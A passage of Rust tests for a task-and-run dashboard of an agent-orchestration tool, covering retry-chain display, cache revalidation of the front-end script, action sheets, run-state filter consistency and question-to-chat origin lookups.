26315        // carries, downgrade the chip, and link to the run that replaced it —
26316        // not just repeat the list card's own logic under a different name.
26317        // The link is built off `latest_attempt.id`, the server-resolved
26318        // full id, never a bare short string a client would have to guess a
26319        // full run from.
26320        assert!(APP_JS.contains("run.latest_attempt"));
26321        assert!(APP_JS.contains("data-superseded"));
26322        assert!(APP_JS.contains("#/runs/${latest.id}"));
26323    }
26324
26325    #[tokio::test]
26326    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
26327        // A -> B -> C, all Blocked except the last. A's immediate successor
26328        // (superseded_by) is B, which is itself unresolved; what an operator
26329        // opening A's page actually needs is where the task's story stands
26330        // *now* - C, not B - without depending on whether C happens to be in
26331        // whatever page of /api/runs the client last cached.
26332        let fx = Fixture::start().await;
26333        let q = fx.queue();
26334        let runs = fx.runs();
26335        let (a, b, c) = (
26336            "20260901-000000-aaaa",
26337            "20260901-000000-bbbb",
26338            "20260901-000000-cccc",
26339        );
26340        write_run(&runs, a, RunStatus::Blocked);
26341        write_run(&runs, b, RunStatus::Blocked);
26342        write_run(&runs, c, RunStatus::Merged);
26343
26344        let mut t = Task::new(
26345            "retried twice".to_owned(),
26346            "do it".to_owned(),
26347            PathBuf::from("/repo"),
26348            Source::Human,
26349        );
26350        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
26351        q.put(&mut t).expect("put");
26352
26353        let view = fx.get(&format!("/api/runs/{a}")).await.json();
26354        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
26355        assert_eq!(
26356            view["latest_attempt"]["id"], c,
26357            "the chain's current head, not the intermediate Blocked retry"
26358        );
26359        assert_eq!(view["latest_attempt"]["resolved"], true);
26360
26361        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
26362        assert_eq!(mid["latest_attempt"]["id"], c);
26363        assert_eq!(mid["latest_attempt"]["resolved"], true);
26364    }
26365
26366    #[tokio::test]
26367    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
26368        let fx = Fixture::start().await;
26369        let q = fx.queue();
26370        let runs = fx.runs();
26371
26372        // Still Blocked: the task is not resolved, so the older run must not
26373        // read as settled either.
26374        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
26375        write_run(&runs, still_blocked_a, RunStatus::Blocked);
26376        write_run(&runs, still_blocked_b, RunStatus::Blocked);
26377        let mut t1 = Task::new(
26378            "still stuck".to_owned(),
26379            "do it".to_owned(),
26380            PathBuf::from("/repo"),
26381            Source::Human,
26382        );
26383        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
26384        q.put(&mut t1).expect("put");
26385        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
26386        assert_eq!(view1["latest_attempt"]["resolved"], false);
26387        assert_eq!(view1["latest_attempt"]["status"], "blocked");
26388        assert_eq!(view1["latest_attempt"]["done"], true);
26389
26390        // Still running: the successor exists and must be reported as such.
26391        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
26392        write_run(&runs, run_a, RunStatus::Blocked);
26393        write_run(&runs, run_b, RunStatus::Implementing);
26394        let mut t3 = Task::new(
26395            "retrying".to_owned(),
26396            "do it".to_owned(),
26397            PathBuf::from("/repo"),
26398            Source::Human,
26399        );
26400        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
26401        q.put(&mut t3).expect("put");
26402        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
26403        assert_eq!(view3["latest_attempt"]["id"], run_b);
26404        assert_eq!(view3["latest_attempt"]["resolved"], false);
26405        assert_eq!(view3["latest_attempt"]["done"], false);
26406
26407        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
26408        // to check - not a confirmed finish, so this must not read as
26409        // resolved either, even though the run is done in the sense that
26410        // nothing is still running.
26411        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
26412        write_run(&runs, noop_a, RunStatus::Blocked);
26413        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
26414        let mut t2 = Task::new(
26415            "claims done".to_owned(),
26416            "do it".to_owned(),
26417            PathBuf::from("/repo"),
26418            Source::Human,
26419        );
26420        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
26421        q.put(&mut t2).expect("put");
26422        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
26423        assert_eq!(
26424            view2["latest_attempt"]["resolved"], false,
26425            "an unverified no-op claim must not read as a confirmed finish"
26426        );
26427
26428        // Front end: an unresolved successor must not carry the "finished
26429        // this work" note or the muted chip treatment.
26430        assert!(APP_JS.contains("latest.resolved"));
26431        // ...but the link to it shows as soon as it exists, labelled by state
26432        // and without the "finished" wording or the muted chip.
26433        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
26434        assert!(APP_JS.contains("Latest attempt: "));
26435        assert!(APP_JS.contains("in flight"));
26436        assert!(APP_JS.contains("not resolved"));
26437    }
26438
26439    #[tokio::test]
26440    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
26441        let fx = Fixture::start().await;
26442        // No cache header at all meant browsers invented their own policy,
26443        // and one did: a phone went on showing "Candidates must be folded
26444        // before deleting. Run `magi fold` first." - deleted two releases
26445        // earlier - from a deck that no longer contained the sentence. The
26446        // button it named was right there, and unreachable.
26447        let js = fx.get("/app.js").await;
26448        assert_eq!(js.status, 200);
26449        let tag = js
26450            .header("etag")
26451            .expect("an etag to revalidate against")
26452            .to_owned();
26453        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
26454        assert_eq!(
26455            js.header("cache-control"),
26456            Some("no-cache, must-revalidate"),
26457            "the phone has to ask every time"
26458        );
26459
26460        // And the asking has to be cheap, or `must-revalidate` just means
26461        // "send the whole interface on every load".
26462        let again = fx
26463            .get_with("/app.js", &[("if-none-match", tag.as_str())])
26464            .await;
26465        assert_eq!(
26466            again.status, 304,
26467            "a deck it already has costs one round trip"
26468        );
26469        assert!(again.body.is_empty(), "304 carries no body");
26470
26471        // A weakened tag from a proxy still matches; a different build does
26472        // not, which is the case that has to deliver the new interface.
26473        let weak = fx
26474            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
26475            .await;
26476        assert_eq!(weak.status, 304);
26477        let stale = fx
26478            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
26479            .await;
26480        assert_eq!(stale.status, 200, "an older build must be replaced");
26481        assert!(stale.body.contains("renderRunActions"));
26482    }
26483
26484    #[test]
26485    fn the_task_detail_has_an_actions_fab_and_sheet() {
26486        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
26487        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
26488        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
26489        // Shown only on the task route, closed everywhere else.
26490        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
26491        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
26492        // Refreshed whenever the detail redraws, including the loading state.
26493        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
26494        assert!(APP_JS.contains("renderTaskActions(null);"));
26495        // Same action renderers as the Queue card. Bound this check by the
26496        // next function, since additional task controls can grow the sheet.
26497        let (_, sheet) = APP_JS
26498            .split_once("function renderTaskActions(task) {")
26499            .expect("sheet renderer");
26500        let (body, _) = sheet
26501            .split_once("\nfunction openTaskActions() {")
26502            .expect("end of sheet renderer");
26503        assert!(body.contains("changePriority("));
26504        assert!(body.contains("openTaskEdit(task)"));
26505        assert!(body.contains("renderTaskHoldBox(host"));
26506        assert!(body.contains("renderTaskDoneBox(host"));
26507        assert!(body.contains("renderTaskDeleteBox(host"));
26508        assert!(APP_JS.contains("API.priority(id)"));
26509        assert!(APP_JS.contains("API.deleteTask(id)"));
26510        // A deleted task sends the operator back to the queue.
26511        assert!(APP_JS.contains("location.hash = \"#/queue\""));
26512        // A refusal is shown inside the sheet.
26513        assert!(APP_JS.contains("$(\"task-actions-error\")"));
26514    }
26515
26516    #[test]
26517    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
26518        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
26519        let actions = INDEX_HTML
26520            .find("id=\"run-actions-box\"")
26521            .expect("actions box");
26522        assert!(task < actions, "the task entry comes first in the sheet");
26523        assert!(APP_JS.contains("renderRunTaskEntry"));
26524        assert!(APP_JS.contains("\"Open task \""));
26525        // A run without a task says why there is nothing to open.
26526        assert!(APP_JS.contains("started directly, no task"));
26527        assert!(APP_JS.contains("sheet-task-link"));
26528        assert!(APP_JS.contains("task-chip-link"));
26529    }
26530
26531    #[test]
26532    fn the_deck_never_sends_the_operator_to_a_terminal() {
26533        // The whole point of the phone UI is that a terminal is not needed.
26534        // The delete control used to answer with "Run `magi fold` first."
26535        assert!(
26536            !APP_JS.contains("Run `magi fold` first"),
26537            "the deck must offer the fold, not prescribe a shell command"
26538        );
26539        assert!(APP_JS.contains("foldRun:"));
26540        assert!(APP_JS.contains("resumeRun:"));
26541        assert!(APP_JS.contains("renderRunActions"));
26542
26543        // Folding is destructive and armed in two steps, like deleting.
26544        assert!(APP_JS.contains("armedFold"));
26545        assert!(APP_JS.contains("Yes, fold worktrees"));
26546
26547        // And the copy has to say that the two actions are opposites, because
26548        // folding throws away exactly what a resume would continue from.
26549        assert!(APP_JS.contains("can no longer be resumed"));
26550    }
26551
26552    #[test]
26553    fn a_finished_run_explains_itself_with_its_own_last_line() {
26554        // The deck used to answer "why did this stop?" with a sentence chosen
26555        // by status alone. Run e633 stalled because two judges answered with
26556        // the wrong JSON shape and its card said "The panel collapsed on
26557        // agent quota" - with `quota: []` in the record and a quota-loss
26558        // counter right above it that correctly said nothing.
26559        assert!(
26560            !APP_JS.contains("collapsed on agent quota"),
26561            "a stall must not be explained by a cause the deck did not check"
26562        );
26563        assert!(
26564            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
26565            "and a block must not offer a guess with an `or` in it"
26566        );
26567
26568        // The reason it does have is `run.event`, which must reach finished
26569        // runs: gating it on movement hid the recorded truth at the one moment
26570        // the operator is reading the card to find out what happened.
26571        assert!(
26572            APP_JS.contains("setText(r.event, run.event || \"\")"),
26573            "the run's last line is rendered unconditionally"
26574        );
26575        assert!(
26576            !APP_JS.contains("moving && run.event"),
26577            "and never gated on the run still moving"
26578        );
26579
26580        // Quota keeps its own counter, fed by the number actually recorded.
26581        assert!(APP_JS.contains("lost to quota"));
26582    }
26583
26584    /// The runs tree (section) and the state chips (waiting/done) are two
26585    /// independent lenses ANDed together in `renderRuns`, and some pairings
26586    /// can never both be true for any run - every "Landed"/"Ended" run is
26587    /// done by construction, so pairing either with "Active" or "In flight"
26588    /// always rendered zero cards with the filter bar still claiming
26589    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
26590    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
26591    /// a handful of (waiting, status) shapes standing in for the run
26592    /// lifecycle, because `cargo test` cannot execute the front end.
26593    ///
26594    /// That stand-in list is itself the part that drifted twice in review:
26595    /// once shipped with `waiting: true` paired with a done status the
26596    /// lifecycle cannot produce, then over-corrected into treating every
26597    /// waiting run as never done - which made "Waiting on you" look
26598    /// incompatible with "Done" even for the one real, reachable shape
26599    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
26600    /// that combination. This test parses the shapes and the done-rule back
26601    /// out of `APP_JS`, reimplements `runSection` and the five state
26602    /// predicates independently in Rust, and checks the resulting
26603    /// section/filter compatibility table against the lifecycle rules by
26604    /// hand - so either direction of drift fails it again.
26605    #[test]
26606    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
26607        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
26608        let shapes_body_start =
26609            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
26610        let shapes_close = APP_JS[shapes_body_start..]
26611            .find("].map(")
26612            .expect("the shape list is closed by its done-computing .map(...)")
26613            + shapes_body_start;
26614        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
26615
26616        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
26617        for entry in shapes_src.split('{').skip(1) {
26618            let waiting = entry.contains("waiting: true");
26619            let dead = entry.contains("live: \"dead\"");
26620            let status_at =
26621                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
26622            let status_end = entry[status_at..]
26623                .find('"')
26624                .expect("the status string is closed")
26625                + status_at;
26626            let parked = entry.contains("display_status: \"parked\"");
26627            shapes.push((
26628                waiting,
26629                entry[status_at..status_end].to_string(),
26630                dead,
26631                parked,
26632            ));
26633        }
26634        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
26635
26636        // The done rule itself (`!["implementing"].includes(shape.status)`),
26637        // read out of the source rather than hardcoded, so a renamed
26638        // in-flight status can't silently make every parsed shape "done".
26639        let done_rule_marker = "done: !";
26640        let done_rule_at = APP_JS[shapes_close..]
26641            .find(done_rule_marker)
26642            .expect("the done rule follows the shape list")
26643            + shapes_close
26644            + done_rule_marker.len();
26645        let includes_at = APP_JS[done_rule_at..]
26646            .find(".includes(shape.status)")
26647            .expect("the done rule ends in .includes(shape.status)")
26648            + done_rule_at;
26649        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
26650            .trim()
26651            .trim_start_matches('[')
26652            .trim_end_matches(']')
26653            .split(',')
26654            .map(|s| s.trim().trim_matches('"'))
26655            .filter(|s| !s.is_empty())
26656            .collect();
26657
26658        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
26659            .into_iter()
26660            .map(|(waiting, status, dead, parked)| {
26661                let done = !not_done.contains(&status.as_str());
26662                (waiting, status, dead, parked, done)
26663            })
26664            .collect();
26665
26666        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
26667        // outright, then merged/ready land, stalled/blocked/failed/
26668        // verified_noop end, and everything else is still in flight.
26669        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
26670            if waiting {
26671                return "waiting";
26672            }
26673            if dead
26674                && !parked
26675                && !matches!(
26676                    status,
26677                    "merged"
26678                        | "ready"
26679                        | "stalled"
26680                        | "blocked"
26681                        | "failed"
26682                        | "verified_noop"
26683                        | "superseded"
26684                        | "already_in_base"
26685                )
26686            {
26687                return "stale";
26688            }
26689            match status {
26690                "merged" | "ready" => "landed",
26691                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
26692                | "already_in_base" => "ended",
26693                _ => "flight",
26694            }
26695        }
26696
26697        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
26698        // way.
26699        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
26700            match filter_key {
26701                "active" => !done,
26702                "flight" => !done && !waiting && !dead,
26703                "stale" => !done && !waiting && dead,
26704                "waiting" => waiting,
26705                "done" => done,
26706                "all" => true,
26707                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
26708            }
26709        }
26710
26711        let compatible = |section: &str, filter_key: &str| {
26712            shapes.iter().any(|(waiting, status, dead, parked, done)| {
26713                run_section(*waiting, status, *dead, *parked) == section
26714                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
26715            })
26716        };
26717
26718        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
26719        // (active, flight, stale, waiting, done, all) - hand-derived from the
26720        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
26721        // currently contains.
26722        let expected = [
26723            ("waiting", [true, false, false, true, true, true]),
26724            ("stale", [true, false, true, false, false, true]),
26725            ("flight", [true, true, false, false, false, true]),
26726            ("landed", [false, false, false, false, true, true]),
26727            ("ended", [false, false, false, false, true, true]),
26728        ];
26729        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
26730
26731        for (section, wants) in expected {
26732            for (filter_key, want) in filter_keys.iter().zip(wants) {
26733                assert_eq!(
26734                    compatible(section, filter_key),
26735                    want,
26736                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
26737                );
26738            }
26739        }
26740
26741        // The compatibility check exists only to be acted on: both pickers
26742        // must actually consult it rather than just render its answer.
26743        assert!(
26744            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
26745        );
26746        assert!(APP_JS.contains(
26747            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
26748        ));
26749        assert!(APP_JS.contains(
26750            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
26751        ));
26752    }
26753
26754    #[tokio::test]
26755    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
26756        // An operator-named directory - git checkout or not - is never
26757        // second-guessed, even when it does not exist at all: only the
26758        // flag's own unmodified `.` default is ever eligible for discovery.
26759        let dir = tempfile::tempdir().expect("tempdir");
26760        let explicit = dir.path().join("not-a-checkout");
26761        std::fs::create_dir_all(&explicit).expect("create dir");
26762        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
26763
26764        let missing = dir.path().join("does-not-exist-at-all");
26765        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
26766    }
26767
26768    #[test]
26769    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
26770        assert!(APP_JS.contains("function statsDonutArcs"));
26771        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
26772        // A bucket click filters by the statuses src/stats.rs counts in it.
26773        assert!(APP_JS.contains("function statusInBucket"));
26774        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
26775        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
26776        let buckets = [
26777            "merged",
26778            "ready",
26779            "in_progress",
26780            "blocked",
26781            "failed",
26782            "verified_noop",
26783            "superseded",
26784            "stalled",
26785        ];
26786        for key in buckets {
26787            let var = format!("--verdict-{key}:");
26788            // Light, OS-dark and pinned-dark blocks each define it.
26789            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
26790            assert!(
26791                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
26792                "{key}"
26793            );
26794        }
26795    }
26796
26797    #[tokio::test]
26798    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
26799        let dir = tempfile::tempdir().expect("tempdir");
26800        let queue = Queue::at(dir.path().join("queue"));
26801        let talks = Talks::at(dir.path().join("talks"));
26802        std::fs::create_dir_all(queue.root()).unwrap();
26803        std::fs::create_dir_all(talks.root()).unwrap();
26804
26805        // Put a corrupt json file in both stores
26806        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
26807        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
26808
26809        // Valid task and talk
26810        let mut task = Task::new(
26811            "title".into(),
26812            "inst".into(),
26813            PathBuf::from("/repo"),
26814            Source::Human,
26815        );
26816        task.id = "20261019-123456-abcd".into();
26817        // Write manually so it's a valid file
26818        std::fs::write(
26819            queue.path_of(&task.id),
26820            serde_json::to_string(&task).unwrap(),
26821        )
26822        .unwrap();
26823
26824        let talk_id = "20261019-234567-cdef";
26825        seed_talk_at(&talks, talk_id, "open");
26826
26827        // Exact match should succeed without failing on the corrupt json file
26828        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
26829        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
26830
26831        // Prefix match should also succeed by scanning file names without deserializing corrupt file
26832        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
26833        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
26834    }
26835
26836    #[tokio::test]
26837    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
26838        let home = tempfile::tempdir().unwrap();
26839        let ui = delta_test_ui(home.path());
26840        // A full history traversal would fail even with no questions.
26841        std::fs::write(ui.queue.root(), "not a directory").unwrap();
26842        std::fs::write(ui.talks.root(), "not a directory").unwrap();
26843        assert!(
26844            questions_list(State(ui.clone()))
26845                .await
26846                .unwrap()
26847                .0
26848                .is_empty()
26849        );
26850        assert!(
26851            question_origins(State(ui.clone()))
26852                .await
26853                .unwrap()
26854                .0
26855                .is_empty()
26856        );
26857        let mut question = Question::new(
26858            "run-history".into(),
26859            "review".into(),
26860            "seat".into(),
26861            "Useful question".into(),
26862            "Useful detail".into(),
26863            vec![],
26864        );
26865        ui.questions.put(&mut question).unwrap();
26866        let core = questions_core(State(ui.clone())).await.unwrap().0;
26867        assert_eq!(core.len(), 1);
26868        assert_eq!(core[0].question.summary, "Useful question");
26869        assert!(!core[0].can_consult_chat);
26870        assert!(core[0].origin_chat.is_none());
26871        assert_eq!(core[0].record_revision, question_record_revision(&question));
26872        assert!(question_origins(State(ui.clone())).await.is_err());
26873        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26874    }
26875
26876    #[tokio::test]
26877    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
26878        let home = tempfile::tempdir().unwrap();
26879        let ui = delta_test_ui(home.path());
26880        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
26881        let mut parent = Task::new(
26882            "parent".into(),
26883            "body".into(),
26884            PathBuf::from("/repo"),
26885            Source::Agent {
26886                run: chat.clone(),
26887                node: crate::queue::CHAT_NODE.into(),
26888            },
26889        );
26890        parent.id = "parent-task".into();
26891        parent.runs = vec!["parent-run".into()];
26892        ui.queue.put(&mut parent).unwrap();
26893        let mut previous = parent;
26894        for generation in 1..=2 {
26895            let mut child = Task::new(
26896                "child".into(),
26897                "body".into(),
26898                PathBuf::from("/repo"),
26899                Source::Human,
26900            );
26901            child.id = format!("child-task-{generation}");
26902            child.runs = vec![format!("child-run-{generation}")];
26903            child.followup = Some(crate::queue::FollowUp {
26904                origin_task: Some(previous.id.clone()),
26905                run: previous.runs[0].clone(),
26906                pr: String::new(),
26907                findings: vec![],
26908                generation,
26909            });
26910            ui.queue.put(&mut child).unwrap();
26911            previous = child;
26912        }
26913        // A run may have the same spelling as another task's id; its owner
26914        // must not override a typed task reference.
26915        let mut collision = Task::new(
26916            "collision".into(),
26917            String::new(),
26918            PathBuf::from("/repo"),
26919            Source::Human,
26920        );
26921        collision.id = "collision-task".into();
26922        collision.runs = vec![previous.id.clone()];
26923        ui.queue.put(&mut collision).unwrap();
26924        let mut questions = Vec::new();
26925        for (node, reference, expected, eligible) in [
26926            (crate::triage::NODE, previous.id.as_str(), true, false),
26927            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
26928            ("review", previous.runs[0].as_str(), true, true),
26929            (
26930                crate::bump::NOTICE_NODE,
26931                previous.runs[0].as_str(),
26932                true,
26933                false,
26934            ),
26935            // Identical text in the wrong reference namespace is not evidence.
26936            ("review", previous.id.as_str(), false, false),
26937            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
26938            ("review", "unrelated", false, false),
26939        ] {
26940            let mut q = Question::new(
26941                reference.into(),
26942                node.into(),
26943                "seat".into(),
26944                "Question".into(),
26945                String::new(),
26946                vec![],
26947            );
26948            ui.questions.put(&mut q).unwrap();
26949            questions.push((q, expected, eligible));
26950        }
26951        for (node, reference, associated, eligible) in [
26952            (crate::reconcile::NODE, previous.id.as_str(), true, false),
26953            (
26954                crate::reconcile::NODE,
26955                previous.runs[0].as_str(),
26956                false,
26957                true,
26958            ),
26959            ("implement", previous.id.as_str(), false, false),
26960        ] {
26961            let mut q = Question::new(
26962                reference.into(),
26963                node.into(),
26964                crate::reconcile::SEAT.into(),
26965                "Reconcile".into(),
26966                String::new(),
26967                vec![],
26968            );
26969            ui.questions.put(&mut q).unwrap();
26970            questions.push((q, associated, eligible));
26971        }
26972        let mut release = Question::new(
26973            "release-record".into(),
26974            crate::bump::NOTICE_NODE.into(),
26975            "release-watch".into(),
26976            "Release".into(),
26977            String::new(),
26978            vec![],
26979        );
26980        ui.questions.put(&mut release).unwrap();
26981        let watch = crate::release_watch::WatchState {
26982            question: Some(release.id.clone()),
26983            run: Some(previous.runs[0].clone()),
26984            held_task: Some(previous.id.clone()),
26985            ..Default::default()
26986        };
26987        let watch_dir = home.path().join("release-watch");
26988        std::fs::create_dir_all(&watch_dir).unwrap();
26989        let watch_path = watch_dir.join("watch.json");
26990        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
26991        // Ordinary questions and bump notices do not need watch-store I/O.
26992        for batch in [
26993            Vec::new(),
26994            questions.iter().map(|(q, _, _)| q.clone()).collect(),
26995        ] {
26996            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
26997            assert!(watches.is_empty());
26998        }
26999        questions.push((release.clone(), true, false));
27000
27001        let views = questions_list(State(ui.clone())).await.unwrap().0;
27002        let origins = question_origins(State(ui.clone())).await.unwrap().0;
27003        for (q, associated, eligible) in &questions {
27004            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
27005            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
27006            let expected = associated.then_some(chat.as_str());
27007            assert_eq!(
27008                view.origin_chat.as_deref(),
27009                expected,
27010                "{} {}",
27011                q.node,
27012                q.run
27013            );
27014            assert_eq!(origin.origin_chat.as_deref(), expected);
27015            assert_eq!(view.origin_chat_closed, *associated);
27016            assert_eq!(origin.origin_chat_closed, *associated);
27017            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
27018            assert_eq!(origin.can_consult_chat, *eligible);
27019        }
27020        // Either saved link independently recovers a release question's owner.
27021        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
27022            let link = crate::release_watch::WatchState {
27023                run,
27024                held_task,
27025                ..watch.clone()
27026            };
27027            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
27028            let (tasks, talks, watches) =
27029                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27030            assert_eq!(
27031                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27032                    .unwrap()
27033                    .id,
27034                chat,
27035            );
27036            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
27037        }
27038        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27039        // Even identical duplicate records are ambiguous: ignore their links.
27040        let duplicate_path = watch_dir.join("duplicate.json");
27041        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27042        let (tasks, talks, watches) =
27043            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27044        assert!(
27045            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27046                .is_none()
27047        );
27048        std::fs::remove_file(duplicate_path).unwrap();
27049        // Another explicit owner is a conflict even if it has no chat.
27050        let mut unrelated = Task::new(
27051            "other".into(),
27052            String::new(),
27053            PathBuf::from("/repo"),
27054            Source::Human,
27055        );
27056        unrelated.id = "unrelated-task".into();
27057        ui.queue.put(&mut unrelated).unwrap();
27058        let mut conflicting = watch.clone();
27059        conflicting.held_task = Some(unrelated.id);
27060        std::fs::write(
27061            watch_dir.join("conflict.json"),
27062            serde_json::to_vec(&conflicting).unwrap(),
27063        )
27064        .unwrap();
27065        let (tasks, talks, watches) =
27066            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27067        assert!(
27068            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27069                .is_none()
27070        );
27071        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
27072        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
27073        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
27074            assert!(origin.origin_chat.is_none());
27075            assert!(!origin.origin_chat_closed);
27076        }
27077    }
27078
27079    #[test]
27080    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
27081        let home = tempfile::tempdir().unwrap();
27082        let ui = delta_test_ui(home.path());
27083        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
27084        for i in 0..1000 {
27085            let mut task = Task::new(
27086                "unrelated".into(),
27087                "instruction ".repeat(256),
27088                PathBuf::from("/repo"),
27089                Source::Human,
27090            );
27091            task.id = format!("history-{i:04}");
27092            ui.queue.put(&mut task).unwrap();
27093            let id = seed_talk_at(&ui.talks, &task.id, "open");
27094            let mut talk = ui.talks.get(&id).unwrap();
27095            talk.pending = "history ".repeat(256);
27096            ui.talks.put(&mut talk).unwrap();
27097        }
27098        let mut parent = Task::new(
27099            "parent".into(),
27100            "body".into(),
27101            PathBuf::from("/repo"),
27102            Source::Agent {
27103                run: chat_id.clone(),
27104                node: crate::queue::CHAT_NODE.into(),
27105            },
27106        );
27107        parent.id = "task-parent".into();
27108        parent.runs = vec!["run-parent".into()];
27109        ui.queue.put(&mut parent).unwrap();
27110        let mut child = Task::new(
27111            "child".into(),
27112            "body".into(),
27113            PathBuf::from("/repo"),
27114            Source::Human,
27115        );
27116        child.id = "task-child".into();
27117        child.runs = vec!["run-child".into()];
27118        child.followup = Some(crate::queue::FollowUp {
27119            run: "run-parent".into(),
27120            origin_task: Some(parent.id.clone()),
27121            pr: "https://example.invalid/pr/1".into(),
27122            findings: vec![],
27123            generation: 1,
27124        });
27125        ui.queue.put(&mut child).unwrap();
27126        let mut question = Question::new(
27127            child.id.clone(),
27128            crate::conduct::NODE.into(),
27129            "seat".into(),
27130            "Continue?".into(),
27131            String::new(),
27132            vec![],
27133        );
27134        let (tasks, talks, _watches) =
27135            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27136        assert_eq!(tasks.len(), 2);
27137        assert_eq!(talks.len(), 1);
27138        assert_eq!(
27139            ui.monitor.queue_index.lock().unwrap().reparsed,
27140            0,
27141            "exact ancestry bypasses the index"
27142        );
27143        assert_eq!(
27144            crate::consult::origin_talk(&tasks, &talks, &question)
27145                .unwrap()
27146                .id,
27147            chat_id
27148        );
